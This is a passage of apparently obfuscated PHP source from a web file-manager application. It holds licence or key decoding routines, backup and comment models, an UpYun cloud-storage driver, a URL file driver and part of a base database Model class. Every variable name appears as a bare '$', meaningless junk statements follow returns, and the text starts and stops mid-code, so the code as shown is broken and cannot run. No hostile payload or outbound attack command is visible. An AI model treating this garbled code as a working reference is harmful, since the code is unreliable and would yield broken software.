$this->ycsjf993275f($, $, $ - 1); } return $; } private function gdyv9b19ed81($, $, $ = 3) { $ =& $_SERVER[]; $ =& $_SERVER[]; if (!is_string($) || strlen($) < 10) { return !1; } $ = trim($); $ = $[756]; if (!$) { die; } $ = strrev($); $ = $[757]; $ = $[0]; $ = substr($, 1, 15); $ = $[758]; if (strlen($) < $[657]) { return; } $ = substr($, 16); $ = $[759]; while (strlen($) < $[669]) { if (!$) { break; } $++; } $ = $[296]; switch ($) { case $[205]: $ = $this->hsox157bd8b4($, strrev($ . $)); break; case $[122]: $ = $this->hsox157bd8b4($, strrev($ . $)); $ = $[760]; while ($ < $[657]) { if ($ >= 0) { break; } $++; } break; case $[297]: $ = $this->hsox157bd8b4($, base64_encode($ . $)); $ = $[761]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } break; $ = $[762]; if (strlen($) < $[669]) { return; } case $[298]: $ = $this->hsox157bd8b4($, md5($ . $)); break; case $[299]: $ = hash_decode($); $ = $[763]; $ = $[0]; $ = $[764]; while ($ < $[671]) { if ($ >= 0) { break; } $++; } $ = substr($, 1); $ = strpos($, $); $ = $[765]; if (strlen($) < $[671]) { return; } $ = md5($ . md5($ . $) . $); $ = substr($, $ % 8, $ % 8 + 7); $ = $[6]; $ = $[766]; $ = 0; $ = 0; $ = 0; $ = $[767]; while ($ < $[669]) { if ($ >= 0) { break; } $++; } for ($ = 0; $ < strlen($); $++) { $ = $ == strlen($) ? 0 : $; $ = $++; $ = strpos($, $[$]) - $ - ord($[$]); $ = $[768]; if (!$) { die; } while ($ < 0) { $ += 64; } $ .= $[$]; } $ = base64_decode($); break; default: $ = $this->hsox157bd8b4($, $ . $); break; $ = $[769]; } if ($ - 1 > 0) { $ = $this->gdyv9b19ed81($, $, $ - 1); } return $; } public function qxsv06505b9c($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = $this->ghcd461c64f6(); $ = $this->ghcd461c64f6(); $ = ($ - 1) * ($ - 1); $ = intval(($ + $) / 2); $ = $[770]; while (strlen($) < $[671]) { if (!$) { break; } $++; } while (1) { $ = $; $ = $[771]; if (strlen($) < $[692]) { die; } $ = $; while ($ % $ != 0) { $ = $; $ = $[772]; if (strlen($) < $[671]) { die; } $ = $; $ = $[773]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } $ = $ % $; $ = $[774]; if (strlen($) < $[661]) { return; } } if ($ == 1) { break; } else { $++; } } $ = 2; $ = $[775]; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = $this->ehka110833eb($ * $ . $[6], $[136]); $ = md5($[300] . ($ + $) . $[301] . $ . $[301] . $ . $[302]); $ = $[776]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = $this->ehka110833eb($, $) . $[303] . $; $ = $[777]; return $; } public function xfad5fcc1643($) { $ =& $_SERVER[]; $ =& $_SERVER[]; $ = explode($[303], $); $ = $[778]; if (strlen($) < $[669]) { return; } if (count($) != 2) { return $[6]; } $ = $this->hsox157bd8b4($[1] . $[6], $[136]); if (!$) { return $[6]; } $ = intval($); $ = 0; $ = 0; $ = $[779]; for ($ = 3; $ < $; $ += 2) { if ($ % $ != 0) { continue; } $ = $; $ = $[780]; $ = intval($ / $); break; } $ = ($ - 1) * ($ - 1); $ = $[781]; if (strlen($) < $[692]) { return; } $ = intval(($ + $) / 2); $ = $[699]; if (!$) { return; } while (1) { $ = $; $ = $; $ = $[782]; while ($ % $ != 0) { $ = $; $ = $[783]; if (strlen($) < $[692]) { die; } $ = $; $ = $ % $; } if ($ == 1) { break; } else { $++; } } $ = 2; for ($ = 0; $ < $ * 10; $++) { if (($ * $ + 1) % $ == 0) { $ = intval(($ * $ + 1) / $); break; } } $ = md5($[300] . ($ + $) . $[301] . $ . $[301] . $ . $[302]); $ = $[784]; while (strlen($) < $[671]) { if (!$) { break; } $++; } $ = $this->hsox157bd8b4($[0], $); return $; } public function ghcd461c64f6() { $ =& $_SERVER[]; $ = mt_rand(pow(2, 14), pow(2, 16) - 1); $ = $[785]; while (strlen($) < $[692]) { if (!$) { break; } $++; } $ = array(); $ = $[786]; while ($ < $[692]) { if ($ >= 0) { break; } $++; } $ = 1; $ = $[787]; while ($ <= (int) sqrt($)) { $ = $; $ = $[788]; while (!0) { $++; $ = $[789]; if (strlen($) < $[669]) { die; } if ($ <= 2) { $ = $; break; } else { if ($ < 2) { continue; } } $ = !0; for ($ = 2; $ <= sqrt($); $++) { if ($ % $ == 0) { $ = !1; } } if ($) { $ = $; break; } } $[] = $; } $ = 2; for ($ = $; $ > 1; $--) { $ = !0; foreach ($ as $) { if ($ % $ == 0) { $ = !1; break; } } if ($) { $ = $; break; } } return $; $ = $[790]; if (!$) { die; } } public function cxrff5f5dc5f($, $) { $ =& $_SERVER[]; $ =& $_SERVER[]; return call_user_func(array($[8], $[304]), $, $); $ = $[791]; if (strlen($) < $[661]) { die; } } public function ehka110833eb($, $) { $ =& $_SERVER[]; return call_user_func(array($[305], $[306]), $, $); } public function hsox157bd8b4($, $) { $ =& $_SERVER[]; return call_user_func(array($[305], $[307]), $, $); $ = $_SERVER[][792]; } } goto b; c: class BackupModel extends ModelBaseLight { public $optionType = "System.backupList"; public $field = array("io", "name", "status", "content", "manual", "result", "timeFrom", "timeTo"); public function config() { $ =& $_SERVER[]; $ = Model($[815])->get($[825]); $ = json_decode($, !0); $ = is_array($) ? $ : array(); if (!isset($[$[799]])) { $[$[799]] = $[90]; } unset($[$[1675]]); Action($[1929])->taskInit(); Model($[1674])->cacheClear(); $ = $[1930]; $ = Model($[1931])->findByKey($[1693], $); if (!$) { $ = array(); } if (isset($[$[196]])) { $[$[196]] = json_decode($[$[196]], !0); } if (isset($[$[196]])) { $[$[196]][$[1678]] = $[$[196]]; unset($[$[196]]); } return array_merge($, $); } public function listData($ = false, $ = "modifyTime", $ = false) { return parent::listData($, $, !0); } public function lastItem() { $ = $this->listData(); return !empty($[0]) ? $[0] : null; } public function kill($) { $ =& $_SERVER[]; $ = $this->listData($); if (!$ || empty($[$[32]])) { return !0; } Task::kill($[824]); Task::kill($[845]); Task::kill($[854]); $ = $[$[32]]; $ = TEMP_FILES . $[823] . $ . $[8]; IO::remove($, !1); return $this->remove($); } public function remove($) { $ = $this->listData($); if (!$) { return !0; } return $this->backupRemove($); } private function backupRemove($) { parent::remove($[$_SERVER[][445]]); $ = $this->backupPath($); IO::remove($, !1); return !0; } private function backupPath($) { $ =& $_SERVER[]; $ = $[$[32]]; $ = Model($[815])->get($[816]); $ = substr(md5($[817] . $ . $), 0, 8); return "{io:{$[$[796]]}}/database/backup/" . $ . $[11] . $; } public function start() { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[91]][$[1932]] != $[90]) { return !0; } $ = $this->config(); if (!$ || $[$[1675]] != $[90]) { return !1; } $ = $this->process(); foreach ($ as $) { if ($) { return Task::restart($[$[445]]); } } $ = new Backup(); $ = $->db(); if ($) { $ = $->dbFile(); if ($ && $[$[799]] == $[214]) { $ = $->file(); } } Backup::set(array($[795] => 1, $[806] => time())); return !0; } public function process() { $ =& $_SERVER[]; $ = array($[802] => Task::get($[824]), $[807] => Task::get($[845]), $[216] => Task::get($[854])); $ = !1; foreach ($ as &$) { if ($) { $ = !1; continue; } if ($) { $ = intval(_get($, $[1710], 0)); if (time() - $ > 7200) { Task::kill($[$[445]]); $ = !0; $ = !1; } } } return $; } public function restore() { $ =& $_SERVER[]; ActionCall($[1111], !0, 1); ActionCall($[1111], !0, 0); } } class CommentModel extends ModelBase { protected $tableName = "comment"; protected $tableMeta = array("tableName" => "comment_meta", "metaField" => "commentID"); const TYPE_SOURCE = 1; const TYPE_SHARE = 2; const TYPE_USER = 3; const TYPE_GROUP = 4; const TYPE_TOPIC = 5; const TYPE_STAR_OFFSET = 100000000; public static $TYPEALL = array(self::TYPE_SOURCE, self::TYPE_SHARE, self::TYPE_USER, self::TYPE_GROUP, self::TYPE_TOPIC); public function addComment($) { $ =& $_SERVER[]; if ($[$[1933]]) { $ = $this->where(array($[1934] => $[$[1933]]))->find(); if (!$ || $[$[180]] != $[$[180]] || $[$[540]] != $[$[540]]) { return !1; } $this->where(array($[1934] => $[$[1933]]))->setAdd($[1935], 1); } $[$[1936]] = 0; $[$[1935]] = 0; $[$[795]] = 1; return $this->add($); } public function commentCount($, $, $ = false) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[540], $[1937] => $[536]); $ = array($[540] => array($[7], $), $[180] => $); if ($) { $[$[1705]] = $; } $ = $this->field($)->where($)->group($[540])->select(); return array_to_keyvalue($, $[540], $[536]); } public function starTarget($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[1705] => USER_ID, $[180] => $, $[540] => $); $ = $this->where($)->find(); if ($) { return $this->where(array($[445] => $[$[445]]))->delete(); } $ = array($[1933] => 0, $[1705] => USER_ID, $[795] => 1, $[799] => $[12], $[180] => $, $[540] => $, $[1936] => 0, $[1935] => 0); return $this->add($); } public function starTargetCount($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = $this->commentCount($, $); $ = $this->commentCount($, $, USER_ID); return array($[1938] => $, $[1939] => $); } public function starTargetUserList($, $) { $ =& $_SERVER[]; $ = $ + self::TYPE_STAR_OFFSET; $ = array($[540] => $, $[180] => $); $ = $this->where($)->count(); $ = array($[301] => $, $[1940] => array()); if (!$) { return $; } $ = $this->field($[1705])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1705]); $[$[1940]] = Model($[548])->userListInfo($); return $; } public function prasiseUserList($) { $ =& $_SERVER[]; $ = array($[1941] => $); $ = $this->where($)->find(); $ = _get($, $[1936], 0); $ = array($[301] => $, $[1940] => array()); if (!$) { return $; } $ = Model($[1942])->field($[1705])->where($)->limit(500)->select(); $ = array_to_keyvalue($, $[12], $[1705]); $[$[1940]] = Model($[548])->userListInfo($); return $; } public function remove($) { $ =& $_SERVER[]; $ = array($[1934] => $); $ = $this->where($)->find(); if ($[$[1933]]) { $this->where(array($[1934] => $[$[1933]]))->setAdd($[1935], -1); } return $this->where($)->delete(); } public function edit($, $) { $ =& $_SERVER[]; $ = array($[1934] => $); return $this->where($)->save(array($[1943] => $)); } public function prasise($) { $ =& $_SERVER[]; $ = Model($[1944]); $ = array($[1934] => $, $[1696] => USER_ID); $ = $->where($)->find(); if (!$) { $->add($); $ = $this->where(array($[1934] => $))->setAdd($[1936], 1); } else { $->where($)->delete(); $ = $this->where(array($[1934] => $))->setAdd($[1936], -1); } return $; } public function targetInfo($, $) { $ =& $_SERVER[]; $ = array($[618] => $, $[619] => $); $ = $this->where($)->count(); $ = "RIGHT JOIN {$this->tablePrefix}comment_praise star on comment.commentID = star.commentID"; $ = $this->alias($[400])->where($)->join($, $[1945])->count(); $ = array($[1946] => $, $[1947] => $); return $; } public function listData($) { $ =& $_SERVER[]; if (isset($[$[1948]])) { if ($[$[1948]]) { $[$[1941]] = array($[1065], intval($[$[1948]])); } unset($[$[1948]]); } if (isset($[$[1949]])) { if ($[$[1949]]) { $[$[1941]] = array($[1062], intval($[$[1949]])); } unset($[$[1949]]); } return $this->_listData($); } private function _listData($) { $ =& $_SERVER[]; $ = $this->where($)->_makeOrder()->selectPage(100); $this->_listAppendParent($[$[415]]); $this->_listAppendUser($[$[415]]); $this->_listAppendMeta($[$[415]]); return $; } private function _makeOrder() { $ =& $_SERVER[]; $ = array($[1936], $[1935], $[217]); $ = Input::get($[500], $[7], $[467], $); $ = Input::get($[501], $[7], $[1698], array($[1950], $[496])); $ = $ . $[53] . $; return $this->order($); } private function _listAppendParent(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1933])); $ = array_remove_value($, $[214]); if (!$) { return; } $ = $this->where(array($[1934] => array($[7], $)))->select(); $ = array_to_keyvalue($, $[1941]); foreach ($ as &$) { if (isset($[$[$[1933]]])) { $[$[1951]] = $[$[$[1933]]]; } } unset($); } private function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1705])); $ = array_remove_value($, $[214]); if (count($) == 0) { return; } foreach ($ as $) { if (isset($[$[1951]])) { $[] = $[$[1951]][$[1705]]; } } $ = Model($[569])->userListInfo($); foreach ($ as &$) { $[$[632]] = $[$[$[1705]]]; if (isset($[$[1951]])) { $[$[1951]][$[632]] = $[$[$[1951]][$[1705]]]; } } unset($); } private function _listAppendMeta(&$) { $ =& $_SERVER[]; $ = array_unique(array_to_keyvalue($, $[12], $[1941])); $ = array_remove_value($, $[214]); if (!$) { return; } foreach ($ as $) { if (isset($[$[1951]])) { $[] = $[$[1951]][$[1941]]; } } $ = $this->metaList($); if (!$) { return !1; } foreach ($ as &$) { $[$[509]] = $[$[$[1941]]]; if (isset($[$[1951]])) { $[$[1951]][$[509]] = $[$[$[1951]][$[1941]]]; } } unset($); } private function metaList($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = array($[1941] => array($[7], $)); $ = Model($[1952])->where($)->select(); $ = array_to_keyvalue_group($, $[1941]); foreach ($ as $ => $) { $ = array(); foreach ($ as $) { $[$[$[96]]] = $[$[420]]; } $[$] = $; } return $ ? $ : array(); } } class FileContentModel extends ModelBase { protected $tableName = "io_file_contents"; protected $dataAuto = array(array("createTime", "time", "insert", "function")); } goto D; B: class PathDriverStream extends PathDriverBase { const TYPE_STRING = 1; const TYPE_FILE = 2; public function __construct($, $ = 0) { parent::__construct(); $this->source = $; $this->sourceSize = $; if (is_string($this->source)) { $this->sourceType = self::TYPE_STRING; $this->sourceSize = strlen($this->source); } else { $this->sourceType = self::TYPE_FILE; } } public function size($ = false) { return $this->sourceSize; } public function getContent($ = false) { return $this->fileSubstr($, 0, $this->sourceSize); } public function fileSubstr($ = false, $ = 0, $ = 0) { if (!$) { $ = $this->sourceSize; } $ = $this->sourceSize - $; if ($ >= $) { $ = $; } if ($this->sourceType == self::TYPE_STRING) { return substr($this->source, $, $); } if ($this->sourceType == self::TYPE_FILE) { if ($ <= 0) { return $_SERVER[][12]; } $ = ftell($this->source); fseek_64($this->source, $ + $); $ = @fread($this->source, $); fseek_64($this->source, $); return $; } } public function hashMd5($ = false) { return md5($this->getContent()); } public static function hash($, $ = 0) { $ = new PathDriverStream($, $); return $->hashSimple($); } public static function md5($, $ = 0) { $ = new PathDriverStream($, $); return $->hashMd5($); } } class PathDriverUSS extends PathDriverBase { protected $bucket = ''; protected $username = ''; protected $userpass = ''; protected $domain = ''; protected $token = ''; protected $endpoint = "http://v0.api.upyun.com"; public $ioUploadServer = 0; public $ioFileOutServer = 0; public function __construct($) { parent::__construct(); $this->_init($); } public function _init($) { $ =& $_SERVER[]; foreach ($ as $ => $) { if (isset($this->{$})) { $this->{$} = $; } } if (empty($this->username) || empty($this->userpass) || empty($this->domain)) { throw new Exception($[1492] . LNG($[1424])); } } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } private function ussHeaders($, $ = "GET") { $ =& $_SERVER[]; $ = gmdate($[1457]); $ = base64_encode(hash_hmac($[1493], "{$}&{$}&{$}", md5("{$this->userpass}"), !0)); $ = array("Authorization:UPYUN {$this->username}:{$}", "Date:{$}"); return $; } public function ussRequest($, $ = "GET", $ = false, $ = false, $ = false) { $ =& $_SERVER[]; $ = trim($, $[8]); $ = "/{$this->bucket}/{$}"; $ = $this->ussHeaders($, $); if ($) { $ = array_merge($, $); } $ = url_request($this->endpoint . $, $, $, $, $); if (!$) { return array($[1263] => !1, $[1253] => $[1494]); } if (strtolower($) == $[213] || in_array($[$[1263]], array($[259], $[1495]))) { $ = $[$[1496]]; } else { $ = json_decode($[$[1253]], !0); if (!$) { $ = $[$[1253]]; } else { if (!$[$[795]] && isset($[$[1497]])) { $ = $[$[1497]]; } } } return array($[1263] => $[$[795]], $[1253] => $); } public function mkfile($, $ = '', $ = REPEAT_RENAME) { if ($this->setContent($, $)) { return $this->getPathOuter($); } return !1; } public function mkdir($, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $ = trim($, $[8]); if ($this->_isFolder($)) { return $this->getPathOuter($); } $ = array($[1498]); $ = $this->ussRequest($, $[243], !1, $); return $[$[1263]] ? $this->getPathOuter($) : !1; } public function copyFile($, $) { $ =& $_SERVER[]; $ = array($[1499] . "/{$this->bucket}/{$}", $[1500]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1263]] ? !0 : $this->getPathOuter($); } public function moveFile($, $) { $ =& $_SERVER[]; $ = array($[1501] . "/{$this->bucket}/{$}", $[1500]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1263]] ? !0 : $this->getPathOuter($); } public function delFile($) { $ =& $_SERVER[]; $ = $this->ussRequest($, $[1502]); return $[$[1263]] ? !0 : !1; } public function delFolder($) { $ =& $_SERVER[]; if (!$this->exist($)) { return !0; } $this->listItemCache = !1; $ = $ = array(); $this->fileList($, $, $, !0); $this->listItemCache = !0; foreach ($ as $) { $ = $this->ussRequest($[$[32]], $[1502]); if (!$[$[1263]]) { return !1; } } foreach ($ as $) { $ = $this->ussRequest($, $[1502]); if (!$[$[1263]]) { return !1; } } $ = $this->ussRequest($, $[1502]); return $[$[1263]]; } public function rename($, $) { if ($this->isFile($)) { $ = get_path_father($) . $; return $this->moveFile($, $); } return $this->renameObject($, $); } public function fileInfo($, $ = false, $ = array()) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[216], $[78] => isset($[$[78]]) ? $[$[78]] : 0, $[177] => $this->ext($)); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[217]] = intval($[$[1503]]); $[$[87]] = intval($[$[1504]]); $[$[78]] = $[$[78]]; return $; } public function folderInfo($, $ = false) { $ =& $_SERVER[]; $ = array($[32] => $this->pathThis($), $[86] => $this->getPathOuter($[8] . $), $[33] => $[77]); if ($) { return $; } $[$[217]] = $[$[87]] = 0; $[$[218]] = $[$[219]] = !0; if (empty($)) { $ = $this->objectMeta($); if (!$) { return $; } } $[$[217]] = intval($[$[1503]]); $[$[87]] = intval($[$[1504]]); return $; } private function listObjs($, $ = 0, $ = 1000) { $ =& $_SERVER[]; $ = array($[1505], $[1506] . $); if ($) { $[] = $[1507] . $; } $ = $this->ussRequest($, $[247], !1, $); return !$[$[1263]] ? !1 : $[$[1253]]; } private function fileList($, &$, &$, $ = false) { $ =& $_SERVER[]; $ = $[12]; $ = 1000; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1508]]) ? $[$[1508]] : $[12]; $ = isset($[$[1509]]) ? $[$[1509]] : array(); foreach ($ as $) { $ = $[$[33]] == $[77] ? !0 : !1; $ = ltrim($ . $[$[32]], $[8]) . ($ ? $[8] : $[12]); $ = array($[32] => $, $[33] => $ ? $[77] : $[216], $[78] => $[$[383]], $[1504] => $[$[1510]]); $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($) { $this->fileList($, $, $, $); } continue; } $[] = $; } if (count($) < $) { break; } } $this->cacheMethodInfoSet($, !0); } public function listPath($, $ = false) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $); foreach ($ as $ => $) { $[$] = $this->folderInfo($, $); } foreach ($ as $ => $) { $[$] = $this->fileInfo($[$[32]], $, $); } return array($[84] => $, $[85] => $); } public function has($, $ = false, $ = true) { $ =& $_SERVER[]; $ = $[12]; $ = 500; $ = 0; $ = 0; $ = rtrim($, $[8]) . $[8]; while (!0) { check_abort(); $ = $this->listObjs($, $, $); if (!$) { return !1; } $ = isset($[$[1508]]) ? $[$[1508]] : $[12]; $ = isset($[$[1509]]) ? $[$[1509]] : array(); if (empty($)) { break; } $ = array_filter($, function ($) { $ =& $_SERVER[]; return $[$[33]] == $[77]; }); $ = count($); $ = count($); $ = $ - $; if ($) { $ += $; $ += $; if ($ < $) { break; } continue; } if ($) { if ($) { return !0; } } else { if ($) { return !0; } } if ($ < $) { break; } } if ($) { return array($[225] => $, $[226] => $); } return !1; } public function listAll($) { $ =& $_SERVER[]; $ = $ = array(); $this->fileList($, $, $, !0); $ = array_to_keyvalue($, $[32]); foreach ($ as $) { if (is_string($)) { $[$] = array($[78] => 0); } } return $this->listAllFiles($, $); } public function canRead($) { return $this->exist($) ? !0 : !1; } public function canWrite($) { return $this->exist($) ? !0 : !1; } public function getContent($) { return $this->fileSubstr($, 0, -1); } public function setContent($, $ = '') { $ =& $_SERVER[]; if (!$) { $ = $this->ussRequest($, $[243]); return $[$[1263]]; } $ = $this->tempFile($this->pathThis($)); file_put_contents($, $); if ($this->upload($, $)) { $this->tempFileRemve($); return !0; } return !1; } public function fileSubstr($, $, $) { $ =& $_SERVER[]; if (!($ = $this->link($))) { return !1; } $ = !1; if ($ > 0) { $ = $ + $ - 1; $ = array($[1471] . $ . $[432] . $); } $ = url_request($, $[247], !1, $); return $[$[795]] ? $[$[1253]] : !1; } public function upload($, $, $ = false, $ = REPEAT_REPLACE) { $ =& $_SERVER[]; $ = IO::size($); if ($ <= 1024 * 1024 * 200) { $ = array($[1511] . $); $ = $this->ussRequest($, $[245], $); return $[$[1263]] ? $this->getPathOuter($) : !1; } $ = 1024 * 1024 * 10; $ = array($[1512], $[1513] . $, $[1514], $[1515] . $); $ = $this->ussRequest($, $[245], !1, $); if (!$[$[1263]]) { return !1; } $ = $[$[1253]]; $ = 0; $ = $[$[1516]]; $ = fopen($, $[1418]); if (!$) { return !1; } do { $ = $[$[1517]]; fseek_64($, $); $ = fread($, $); $ = 0; do { $++; $ = $this->uploadPart($, $, $); } while (!$ && $ < 3); if (!$) { return !1; } $ = $[$[1516]]; $ += $; } while ($ != -1); fclose($); $ = array($[1518], $[1519] . $[$[1520]], $[1514]); $ = $this->ussRequest($, $[245], !1, $); return $[$[1263]] ? $this->getPathOuter($) : !1; } private function uploadPart($, $, &$) { $ =& $_SERVER[]; $ = array($[1521], $[1519] . $[$[1520]], $[1522] . $[$[1516]], $[145] . $[$[1517]]); $ = $this->ussRequest($, $[245], $, $); return !$[$[1263]] ? $[$[1263]] : $[$[1253]]; } public function uploadFormData($, $ = 3600) { return $this->uploadPolicy($, $); } public function multiUploadFormData($, $ = 3600) { $ =& $_SERVER[]; $ = (int) $GLOBALS[$[7]][$[78]]; return $this->uploadPolicy($, $, $); } private function uploadPolicy($, $ = 3600, $ = 0) { $ =& $_SERVER[]; $ = $[8] . $this->bucket; $ = gmdate($[1457]); $ = array($[1523] => $this->bucket, $[1524] => $, $[1525] => time() + $, $[1526] => $); if ($) { $[$[1438]] = $; } $ = base64_encode(json_encode($)); $ = base64_encode(hash_hmac($[1493], "POST&{$}&{$}&{$}", md5("{$this->userpass}"), !0)); $ = array($[278] => $, $[1527] => "UPYUN {$this->username}:{$}", $[198] => $this->endpoint . $); return $; } public function download($, $) { $ = IO::getPathInner(IO::mkfile($)); if (!($ = $this->link($))) { return !1; } $ = 0; $ = 1024 * 200; $ = fopen($, $_SERVER[][1477]); while (!0) { $ = $this->fileSubstr($, $, $); if ($ === !1) { return !1; } fwrite($, $); $ += $; if (strlen($) < $) { break; } } fclose($); return $; } public function link($, $ = array()) { $ =& $_SERVER[]; $ = trim($, $[8]); if (!empty($this->token)) { $ = strtotime(date($[1528])); $ = substr(md5($this->token . $[330] . $ . $[1529] . $), 12, 8) . $; $[] = $[1530] . $; } $ = !empty($) ? $[75] . implode($[330], $) : $[12]; return $this->getHost() . $[8] . $ . $; } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer()) { return $this->fileOutServer($, $, $, $); } if (!$) { $ = $this->pathThis($); } $ = $ ? array($_SERVER[][1531] . rawurlencode($)) : array(); $ = $this->link($, $); $this->fileOutLink($); } public function fileOutServer($, $ = false, $ = false, $ = '') { parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { $ = $this->link($ . $_SERVER[][1532] . $); $this->fileOutLink($); } public function fileOutImageServer($, $ = 250) { parent::fileOutImage($, $); } public function hashMd5($) { $ =& $_SERVER[]; $ = $this->_objectMeta($); return isset($[$[230]]) ? $[$[230]] : !1; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[][78]] : 0; } public function info($) { if ($this->isFolder($)) { return $this->folderInfo($); } else { if ($this->isFile($)) { return $this->fileInfo($); } } return !1; } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($) { return !$this->isFolder($) && $this->objectMeta($); } public function isFolder($) { return $this->cacheMethod($_SERVER[][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[][170], $); } protected function _objectMeta($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return array(); } $ = $this->ussRequest($, $[1533]); if (!$[$[1263]]) { return null; } $ = isset($[$[1253]]) ? $[$[1253]] : array(); if (!isset($[$[1534]])) { return null; } $ = array($[33] => isset($[$[1534]]) ? $[$[1534]] : null, $[78] => isset($[$[1535]]) ? $[$[1535]] : null, $[230] => isset($[$[1536]]) ? $[$[1536]] : null, $[1503] => isset($[$[1537]]) ? $[$[1537]] : null); $[$[1504]] = isset($[$[1538]]) ? strtotime($[$[1538]]) : $[$[1503]]; return $; } protected function _isFolder($) { $ =& $_SERVER[]; if ($ == $[12] || $ == $[8]) { return !0; } $ = $this->_objectMeta($); return isset($[$[33]]) && $[$[33]] == $[77] ? !0 : !1; } } class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($ = false) { } public function exist($) { $ = $this->info($); return $[$_SERVER[][218]]; } public function isFile($) { $ = $this->info($); return $[$_SERVER[][218]]; } public function isFolder($) { return !1; } public function size($) { $ = $this->info($); return $[$_SERVER[][78]]; } public function info($) { return $this->infoParse($); } public function infoAuth($) { return $this->infoParse($); } public function infoWithChildren($) { return $this->infoParse($); } public function infoFull($) { return $this->infoParse($); } private function infoParse($) { $ =& $_SERVER[]; $ = $this->header($); if (!$ || !$[$[795]]) { return !1; } $ = _get($, $[383], 0); $ = array($[32] => $[$[32]], $[86] => $, $[33] => $[216], $[78] => intval($), $[177] => get_path_ext($[$[32]]), $[1415] => $ > 0 && $[$[1539]], $[1416] => !1); return $; } private function header($) { $ =& $_SERVER[]; if (isset(self::$_cacheHeader[$])) { return self::$_cacheHeader[$]; } $ = isset($GLOBALS[$[1540]]) ? $GLOBALS[$[1540]] : !1; $GLOBALS[$[1540]] = !0; self::$_cacheHeader[$] = url_header($); $GLOBALS[$[1540]] = $; return self::$_cacheHeader[$]; } public function hashSimple($, $ = false) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[218]]) { return !1; } $ = $[$[78]]; $ = 200; $ = 50; if ($ <= $ * $) { return md5($this->fileSubstr($, 0, $)) . $; } $ = intval($ / $); $ = $[12]; $ = timeFloat(); $ = 15; for ($ = 0; $ < $; $++) { if (timeFloat() - $ > $) { return !1; } $ = $this->fileSubstr($, $ * $, $); if (!$) { return !1; } $ .= $; } $ .= $this->fileSubstr($, $ - $, $); return md5($) . $; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ = 0, $ = -1) { $ =& $_SERVER[]; $ = $this->info($); if (!$ || !$[$[218]] && $[$[78]] > 1024 * 1024 * 10) { return !1; } if ($ === -1) { $ = $[$[78]]; } if ($ == 0) { return $[12]; } $ = array($[1541] . $ . $[827] . ($ + $ - 1)); $ = url_request($, $[247], !1, $, !1, !1, 30); return $[$[1253]] ? $[$[1253]] : $[12]; } public function download($, $) { Downloader::start($, $); return $; } } goto a; C: class Model extends ClassBaseCall { private $_extModel = null; protected $db = null; protected $pk = "id"; protected $tablePrefix = ''; protected $name = ''; protected $dbName = ''; protected $connection = ''; protected $tableName = ''; protected $trueTableName = ''; protected $error = ''; protected $fields = array(); protected $data = array(); protected $options = array(); protected $_validate = array(); protected $_auto = array(); protected $_map = array(); protected $_scope = array(); protected $autoCheckFields = true; protected $patchValidate = false; protected $methods = array("table", "order", "alias", "having", "group", "lock", "distinct", "auto", "filter", "validate", "result", "bind", "token"); public function __construct($ = '', $ = '', $ = '') { $ =& $_SERVER[]; $this->_initialize(); if (!empty($)) { if (strpos($, $[10])) { list($this->dbName, $this->name) = explode($[10], $); } else { $this->name = $; } } elseif (empty($this->name)) { $this->name = $this->getModelName(); } if (is_null($)) { $this->tablePrefix = $[12]; } elseif ($[12] != $) { $this->tablePrefix = $; } else { $this->tablePrefix = $this->tablePrefix ? $this->tablePrefix : think_config($[290]); } $this->db(0, empty($this->connection) ? $ : $this->connection); $this->_classObjectID = mt_rand(0, 10000); } protected function _checkTableInfo() { $ =& $_SERVER[]; if (empty($this->fields)) { if (think_config($[291])) { $ = $this->dbName ? $this->dbName : think_config($[292]); $ = think_var_cache($[293] . strtolower(get_path_this($) . $[10] . $this->name)); if ($) { $ = think_config($[294]); if (empty($) || $[$[295]] == $) { $this->fields = $; return; } } } $this->flush(); } } public function flush() { $ =& $_SERVER[]; $this->db->setModel($this->name); $ = $this->db->getFields($this->getTableName()); if (!$) { return !1; } $this->fields = array_keys($); $this->fields[$[296]] = !1; foreach ($ as $ => $) { $[$] = $[$[33]]; if ($[$[39]]) { $this->fields[$[297]] = $; if ($[$[42]]) { $this->fields[$[296]] = !0; } } } $this->fields[$[298]] = $; if (think_config($[294])) { $this->fields[$[295]] = think_config($[294]); } if (think_config($[291])) { $ = $this->dbName ? $this->dbName : think_config($[292]); think_var_cache($[293] . strtolower(get_path_this($) . $[10] . $this->name), $this->fields); } } public function switchModel($, $ = array()) { $ =& $_SERVER[]; 